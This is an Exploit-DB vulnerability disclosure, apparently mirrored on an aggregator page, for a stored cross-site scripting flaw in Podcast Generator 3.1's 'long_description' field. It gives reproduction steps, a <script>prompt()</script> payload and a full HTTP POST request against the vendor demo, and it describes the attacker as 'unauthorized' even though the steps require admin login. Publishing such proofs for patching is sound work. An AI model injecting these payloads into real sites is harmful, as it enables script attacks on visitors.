Podcast Generator 3.1 – ‘Long Description’ Persistent Cross-Site Scripting (XSS)

• Exploit Database
• 20 阅读

• 作者： Ayşenur KARAASLAN
  日期： 2021-05-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49866/

• # Exploit Title: Podcast Generator 3.1 - 'Long Description' Persistent Cross-Site Scripting (XSS)
  # Date: 13/05/2021
  # Exploit Author: Ayşenur KARAASLAN
  # Vendor Homepage: https://podcastgenerator.net/demoV2/
  # Software Link: https://podcastgenerator.net/download and https://github.com/PodcastGenerator/PodcastGenerator/archive/v3.1.1.zip
  # Version: < 3.1.1
  # CVE: N/A
  
  Podcast Generator is an open source Content Management System written in PHP and specifically designed for podcast publishing.
  
  #Description
  The following is PoC to use the XSS bug with unauthorized user.
  
  1. Login to your admin account.
  2. "Upload New Episode" or "Edit" field has got "Long Description". Long Description field is not filtered.It is possible to place JavaScript code.
  3. Click the Home button
  4. Click "More" button of created or edited episode.
  
  # Vulnerable Parameter Type: POST
  # Vulnerable Parameter: long_description
  # Attack Pattern: <script>prompt("Aysenur-PoC")</script>
  
  #PoC
  HTTP Request:
  
  POST /demoV2/pg/?p=admin&do=edit&c=ok HTTP/1.1
  Host: podcastgenerator.net
  Cookie: PHPSESSID=2k93317b1dcraih0ti3p8rehc4;
  _ga=GA1.2.2015734934.1620928725; _gid=GA1.2.1455863373.1620928725
  Content-Length: 1590
  Cache-Control: max-age=0
  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
  Sec-Ch-Ua-Mobile: ?0
  Upgrade-Insecure-Requests: 1
  Origin: https://podcastgenerator.net
  Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: frame
  Referer:
  https://podcastgenerator.net/demoV2/pg/?p=admin&do=edit&=episode&name=aysenurxss-poc.jpg
  Accept-Encoding: gzip, deflate
  Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
  Connection: close
  
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="userfile"
  
  aysenurxss-poc.jpg
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="title"
  
  Aysenur-PoC
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="description"
  
  poc
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="countdown"
  
  255
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="category[]"
  
  about
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="Day"
  
  13
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="Month"
  
  5
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="Year"
  
  2021
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="Hour"
  
  14
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="Minute"
  
  29
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="long_description"
  
  <script>prompt("aysenur-xss")</script>
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="keywords"
  
  poc
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="explicit"
  
  no
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="auth_name"
  
  aysenur
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
  Content-Disposition: form-data; name="auth_email"
  
  aysenur@emailaddress.com
  ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd--